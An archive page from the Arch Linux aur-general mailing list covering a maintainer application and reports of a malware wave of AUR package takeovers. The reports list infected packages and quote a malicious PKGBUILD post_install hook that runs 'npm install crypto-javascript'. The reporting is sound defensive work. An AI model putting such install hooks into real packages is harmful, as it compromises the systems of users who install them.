July 2026 - Aur-general - lists.archlinux.org

Package Maintainer Application - Josephine Pfeiffer
by Josephine Pfeiffer 21 Aug '26

21 Aug '26

Hi everyone, I'm Josie, and I'm applying to become a Package Maintainer. My application is sponsored by Jan Alexander Steffens (heftig) and Leonidas Spyropoulos (artafinde). Thank you both for the support. I work as a senior software engineer on Linux userspace networking. Among other things I maintain NetworkManager + adjacent projects [1] and the nettool libraries [2], contribute to nmstate [3] and wpa_supplicant [4], and am a Fedora package maintainer [5]. Before that I spent several years doing Kubernetes and OpenShift infrastructure work. I've been an Arch user since 2014. I co-maintain the AUR helper paru [6] with Morganamilo, another package maintainer, and I'm a regular contributor to alpm.rs [7], which my own project cockpit-pacman [8] builds on. I've also contributed to mkinitcpio, bumpbuddy, aurweb, and odd things here and there, I maintain a number of packages on the AUR [9], and I've been poking at porting Arch to s390x for fun. Outside of Linux, I maintain projects under Kubernetes SIG Autoscaling [10] and co-chair the Kubernetes WG Node Identity [11]. I've given talks at KubeCon, Open Source Summit and FOSDEM [12]. I'd like to help with packaging the NetworkManager stack. Networking packages are where I'm most at home, and my day job keeps me close to that code and its upstream communities. As a start, I'd also like to move a few packages from the AUR into [extra]: * nmstate (https://aur.archlinux.org/packages/nmstate) * openscap (https://aur.archlinux.org/packages/openscap) * cockpit-pacman (https://aur.archlinux.org/packages/cockpit-pacman) You can find my projects and profiles below [13][14][15][16][17][18]. Outside of computers I like art, skateboarding, mountains, and biohacking. Thank you for considering my application! Best, Josie [1] https://gitlab.freedesktop.org/groups/NetworkManager/-/group_members?search… [2] https://github.com/nettools [3] https://github.com/nmstate/nmstate [4] https://w1.fi/wpa_supplicant/ [5] https://src.fedoraproject.org/user/josie [6] https://github.com/Morganamilo/paru [7] https://github.com/archlinux/alpm.rs [8] https://github.com/pfeifferj/cockpit-pacman [9] https://aur.archlinux.org/packages?SeB=M&K=josie [10] https://github.com/kubernetes-sigs/karpenter-provider-ibm-cloud [11] https://github.com/kubernetes/community/pull/9028 [12] https://josie.lol/talks/ [13] https://github.com/pfeifferj [14] https://gitlab.archlinux.org/pfeifferj [15] https://gitlab.com/josie [16] https://gitlab.freedesktop.org/josie [17] https://gitlab.gnome.org/josie [18] https://lore.kernel.org/all/?q=josie.lol

5 6

SSH auth denied for existing AUR account enbonnet
by Ender Bonnet 02 Aug '26

02 Aug '26

Hello, I have an existing AUR account: enbonnet. My uploaded SSH key fingerprint is: SHA256:DwAGgyvDn2BSghPNV3zpIooziHczj+oCDpBxYwXvuKE Verbose SSH to aur(a)aur.archlinux.org shows that the server accepts the offered Ed25519 key, then final auth fails with: Permission denied (publickey) I also tested: ssh -o IdentitiesOnly=yes -i ~/.ssh/aur -vT aur(a)aur.archlinux.org ssh -o IdentitiesOnly=yes -i ~/.ssh/aur aur(a)aur.archlinux.org help Could you please verify whether my account is fully active for SSH access and whether the uploaded key is associated correctly? Thanks. -- Ender Bonnet *enbonnet.com <http://enbonnet.com?source=email-sign>*

6 6

AUR Malware that still presents as of now (30 July 2026, 22:00 UTC)
by Saren 02 Aug '26

02 Aug '26

in format of <package name>/<malicious ELF binary> archutil/linter bigwebapp-manager/minifier boringssl-git/hasher cinnamon-no-nemo/converter duhh/indexer eden-nightly/encryptor garlic-decompiler-gui/checker gigolo-git/tagger gitarbor-bin/parser icloudpd/preprocessor imago-bin/generator juicebox-plus-git/minifier magic-context-dashboard-bin/validator option-term/indexer pagerduty-short-circuiter/assembler portless/assembler pylnker-git/converter pylnker-git/packer python-libipld-git/hasher python-numkong/compressor python-parallax/converter python-ultraplot-git/serializer ramses-git/indexer src-cli-bin/migrator steamidra-bin/generator stirling-pdf-desktop-bin/optimizer wiki-go/merger windscribe-cli-v2-bin/parser

6 13

Highly suspicious unofficial Brave Origin package on AUR
by Jared Sutton 01 Aug '26

01 Aug '26

Good day everyone, I was getting a new laptop setup and found this package published just today to AUR: https://aur.archlinux.org/packages/brave-origin It includes an ELF binary called "translator" in the sources, though it's unclear if it has an execution path currently enabled. I believe the brave-origin-bin package to be published by brave themselves, so this one looks like it's just trying to fool users. Any way you slice it, it's very suspicious and is worth a review. I'm having Claude dig into the binary to see what it can find. Regards, Jared

6 7

AUR packages adoption disabled
by Robin Candau 01 Aug '26

01 Aug '26

Hi everyone, Due to the current influx of malicious package adoptions and follow-up commits made via the AUR, package adoption is currently disabled while we are handling the situation. We will send a follow-up once we're able to. In the meantime, feel free to report suspicious adoption events or commits that haven't been dealt with yet, and stay vigilant! Thanks for your understanding. Cheers, Antiz on behalf of the Arch Linux DevOps team -- Regards, Robin Candau / Antiz

3 3

Malicious activity on plex-media-player pkgbuilds
by Fabio Loli 31 Jul '26

31 Jul '26

Hi all, pkgbuild plex-media-player have been updated to include: +install=plex-media-player-deps.install +post_install() { + cd /tmp + npm install crypto-javascript +} plex-media-player was orphan and was adopted by a new account created today Duplicates uploaded today always by new suspicious accounts are: plex-media-player-v2 plex-media-player-mod plex-media-player-custom also have 'npm install crypto-javascript' in .install file https://aur.archlinux.org/cgit/aur.git/commit/?h=plex-media-player&id=461c4… https://aur.archlinux.org/packages?O=0&SeB=n&K=plex-media-player&outdated=&…

3 5

Re: New Spam Wave
by ser＠ser1.net 31 Jul '26

31 Jul '26

On Thu Jul 30, 2026 at 8:43 AM PDT, Mark Wagie wrote: > I just received a slew of notifications about orphaned packages that were adopted and updated replacing the source array with a binary: ... > python-aiofile Huh. It surprised me a bit that this didn't trigger the duplicate-package-name rule, as it's a stem of extra/python-aiofiles. There are 32 packages in AUR for which there's a plural stem of a package name in one of the core repositories (extra/python-aiofiles, aur/python-aiofile). There are also 3 packages in AUR which are the same as core packages, except for a '++' - extra/bonnie++ : aur/bonnie - extra/libxml++ (and core/libxml2) : aur/libxml - extra/mysql++ : aur/mysql but while those 35 may not violate the duplicate rule (how far would you take stemming rules, anyway?), I was surprised to find 3 packages in AUR which are straight-up duplicates of packages in core or extra: - extra/peazip : aur/peazip - extra/pinta : aur/pinta - extra/video-downloader : aur/video-downloader Am I misunderstanding https://wiki.archlinux.org/title/User:Quequotion/AUR_submission_guidelines ? --- SER Sean E. Russell (https://ser1.net) OpMsg: https://ser1.net/.well-known/opmsg.txt GPG key: https://ser1.net/.well-known/pgp.asc Minisign: https://ser1.net/.well-known/minisign.pub Age: age195vpft7nzsy83medxagqqsge0lrcuf9txe3z2znlu2wsk69cdu4sx8nfvp

2 1

RE: Alert for proxypin
by Leandro Cunha 30 Jul '26

30 Jul '26

Hello, On Thu, Jul 30, 2026 at 8:21 PM Hyacinthe Cartiaux <hyacinthe(a)archlinux.org> wrote: > > On 7/31/26 1:00 AM, Leandro Cunha wrote: > > I wasn't the one who made this commit 7 hours ago, and my commits are > > signed using a GPG key. > > I've dropped the commit and suspended the account. > > Best, > > Hyacinthe Thank you; monitoring continues to check for suspicious files in the packages, and alerts will be issued. Cheers, Leandro

1 0

Alert for proxypin
by Leandro Cunha 30 Jul '26

30 Jul '26

Hello, I wasn't the one who made this commit 7 hours ago, and my commits are signed using a GPG key. https://aur.archlinux.org/cgit/aur.git/commit/?h=proxypin&id=87cc147ceb2cf4…

2 1

New spam / take-over malware wave - info collection & questions
by archlists＠lenucksi.eu 30 Jul '26

30 Jul '26

Hi, just saw the new wave of AUR package take-over events flowing in. The mails read like they'd be similar attacks with the extra "validator" binary (sometimes named differently, such as 'assembler', 'optimizer') in the build step. I collected what I grabbed out of the list so far here: https://github.com/lenucksi/aur-malware-check/issues/52 One user reported an additional one https://aur.archlinux.org/packages/meshcore-open-git with the malware called 'optimizer'. Would it be possible to create list like the one for the last campaign on the pastebin so I can use it with the tool? Also, another user of the original openconnect-sso apparently threw the dropper onto Claude leading to this: https://claude.ai/share/d8111b00-156c-405b-9faf-85631176092b (via https://aur.archlinux.org/packages/openconnect-sso#comment-1080202) Has anyone got a SHA256 (or a set of those) of those various attack payloads or any more detailed analysis of it, possibly with IoCs or post-attack traces to scan for with the tool above? I considered a scan for the weird localhost ports+adresses mentioned by the Clauded 'analysis' but without knowing what it actually leaves behind when it seemed a bit premature. Another question: Since this attack seems to mostly target the build() step, not the preinstall step, would a chrooted build have reduced the blast radius? On the last one, that clearly wasn't the case. If so, would it be wise to follow the route with the chroot'd AUR builds as default more? Cheers, Lenucksi --

1 0